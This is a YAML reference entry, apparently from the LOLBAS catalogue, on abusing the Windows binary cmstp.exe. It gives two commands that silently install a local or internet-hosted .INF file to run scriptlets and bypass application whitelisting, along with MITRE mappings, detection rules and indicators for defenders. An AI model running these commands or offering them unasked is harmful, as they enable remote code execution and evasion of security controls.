---
Name: Cmstp.exe
Description: Installs or removes a Connection Manager service profile.
Author: 'Oddvar Moe'
Created: 2018-05-25
Commands:
  - Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
    Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
    Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.
    Category: Execute
    Privileges: User
    MitreID: T1218.003
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    Tags:
      - Input: INF
  - Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
    Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
    Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
    Category: AWL Bypass
    Privileges: User
    MitreID: T1218.003
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
    Tags:
      - Input: INF
Full_Path:
  - Path: C:\Windows\System32\cmstp.exe
  - Path: C:\Windows\SysWOW64\cmstp.exe
Detection:
  - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_cmstp_execution_by_creation.yml
  - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_uac_bypass_cmstp.yml
  - Splunk: https://github.com/splunk/security_content/blob/bee2a4cefa533f286c546cbe6798a0b5dec3e5ef/detections/endpoint/cmlua_or_cmstplua_uac_bypass.yml
  - Elastic: https://github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/defense_evasion_suspicious_managedcode_host_process.toml
  - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml
  - IOC: Execution of cmstp.exe without a VPN use case is suspicious
  - IOC: DotNet CLR libraries loaded into cmstp.exe
  - IOC: DotNet CLR Usage Log - cmstp.exe.log
Resources:
  - Link: https://twitter.com/NickTyrer/status/958450014111633408
  - Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
  - Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
  - Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
  - Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
  - Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
Acknowledgement:
  - Person: Oddvar Moe
    Handle: '@oddvarmoe'
  - Person: Nick Tyrer
    Handle: '@NickTyrer'